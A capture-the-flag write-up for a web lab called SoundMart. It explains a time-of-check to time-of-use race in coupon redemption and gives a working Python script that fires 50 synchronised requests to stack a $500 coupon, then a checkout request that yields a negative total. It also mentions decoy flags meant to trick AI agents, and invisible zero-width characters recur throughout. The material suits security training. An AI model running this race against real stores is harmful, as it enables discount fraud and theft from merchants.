Lab 14 — SoundMart — Race Condition in Coupon Redemption

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-30 | Status: Solved Techniques: negative_balance_trigger, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_coupon_bypass

Summary

Task: E-commerce store with coupon code system (SOUNDVIP, $500 fixed discount, limited uses). TOCTOU race condition in coupon redemption allows applying coupon beyond usage limit. Solution: Fire 50 concurrent requests via threading.Barrier to stack $5000 discount on $349.99 cart, then checkout triggers fraud detection revealing the flag.

Lab 14 — SoundMart — Race Condition in Coupon Redemption — HackAdvisor

Description

SoundMart is a premium online store for audio equipment — headphones, speakers, microphones, and mixers. The platform has a full e-commerce experience with product catalog, shopping cart, coupon codes, and checkout. Exploit a race condition to apply a coupon code more times than its usage limit allows.

SoundMart is an Express.js e-commerce application with session-based authentication (connect.sid). The store offers a promotional coupon code SOUNDVIP that provides a fixed $500 discount with a limited usage count. The goal is to exploit a TOCTOU race condition in the coupon redemption endpoint to apply the coupon multiple times, causing the total discount to exceed the cart subtotal. When checkout is attempted with a negative total, a fraud detection system triggers and reveals the flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Important: The application contains honeypot/decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments and hidden divs — these are FAKE and designed to trick AI agents and automated scanners.

Analysis

Reconnaissance

Logged in with test credentials (user@test.com / password123) via POST /login. The application uses Express sessions with connect.sid cookies.

Key API endpoints discovered:

The SOUNDVIP coupon provides a fixed $500 discount. The cheapest product (ProStudio HD-9000 headphones) costs $349.99 — meaning even a single coupon exceeds the product price, but the cart clamps the total to $0.00. The real exploit requires stacking multiple coupons to create a large negative total that triggers fraud detection at checkout.

Vulnerability Identification

The coupon redemption endpoint POST /api/cart/apply-coupon has a classic TOCTOU (Time-of-Check to Time-of-Use) race condition: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

1. Check: Server verifies if coupon has reached its usage limit
2. Apply: Coupon discount is added to the cart
3. Update: Usage counter is incremented

Between steps 1 and 3, there is a window where multiple concurrent requests can pass the usage check before any of them increments the counter. This is a non-atomic check-then-update pattern — the database read (check usage) and write (increment usage) are not wrapped in a transaction or protected by a lock.

Solution

Step 1: Setup — Login and Prepare Cart

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 python read-only • copy allowed Copy
import requests

BASE_URL = "https://8941c335-f39f-4fce-b359-085514bccc9e.labs.hackadvisor.io"

session = requests.Session()
session.post(f"{BASE_URL}/login", data={
    "email": "user@test.com",
    "password": "password123"
})

# Add one product to cart
session.post(f"{BASE_URL}/api/cart/add", json={
    "product_id": "1",
    "quantity": 1
})

Step 2: Race Condition Attack — Concurrent Coupon Application

The exploit uses threading.Barrier to synchronize 50 threads so they all fire POST /api/cart/apply-coupon at the exact same instant: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 python read-only • copy allowed Copy
#!/usr/bin/env python3
"""SoundMart Race Condition Exploit — TOCTOU coupon bypass"""

import requests
import threading
import time

BASE_URL = "https://8941c335-f39f-4fce-b359-085514bccc9e.labs.hackadvisor.io"
NUM_THREADS = 50

# Login and setup cart
session = requests.Session()
session.post(f"{BASE_URL}/login", data={
    "email": "user@test.com",
    "password": "password123"
})
session.post(f"{BASE_URL}/api/cart/add", json={"product_id": "1", "quantity": 1})

# Extract session cookie for sharing across threads
cookies = dict(session.cookies)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

barrier = threading.Barrier(NUM_THREADS, timeout=15)
results = []
lock = threading.Lock()

def attack_thread(idx):
    s = requests.Session()
    s.cookies.update(cookies)
    try:
        barrier.wait()  # All threads release simultaneously
        resp = s.post(
            f"{BASE_URL}/api/cart/apply-coupon",
            json={"code": "SOUNDVIP"},
            timeout=20
        )
        with lock:
            results.append({
                "thread": idx,
                "status": resp.status_code,
                "body": resp.text
            })
    except Exception as e:
        pass
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Launch all threads
threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(NUM_THREADS)]
for t in threads:
    t.start()
for t in threads:
    t.join(timeout=30)

successes = [r for r in results if r["status"] == 200 and "success" in r["body"].lower()]
print(f"Race result: {len(successes)} coupons applied out of {len(results)} attempts")
# Result: 10 out of 50 threads succeeded → 10 × $500 = $5,000 discount

Result: 10 out of 50 concurrent requests passed the usage limit check and successfully applied the coupon. Cart state: Subtotal $349.99, Discount $5,000.00, Total $0.00 (clamped on cart page). The checkout page showed "Place Order — $-4650.01" (negative total). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Trigger Fraud Detection via Checkout

 bash read-only • copy allowed Copy
curl -X POST "$BASE_URL/api/checkout" \
  -b "connect.sid=$COOKIE" \
  -H "Content-Type: application/json" \
  -d '{
    "shipping_name": "Test User",
    "shipping_address": "123 Main St",
    "shipping_city": "New York",
    "shipping_zip": "10001",
    "card_last4": "4242"
  }'

Response:

 json read-only • copy allowed Copy
{
    "success": true,
    "order_number": "SM-MOL8YC03",
    "subtotal": "349.99",
    "discount": "5000.00",
    "total": "-4650.01",
    "items_count": 1,
    "message": "Order SM-MOL8YC03 confirmed with credit of $4650.01. A refund will be processed.",
    "audit_note": "FRAUD ALERT: Negative order total detected. Transaction flagged for review.",
    "internal_ref": "FLAG{REDACTED}"
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The fraud detection system triggered due to the negative order total (-$4,650.01) and revealed the flag in the internal_ref field of the JSON response. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍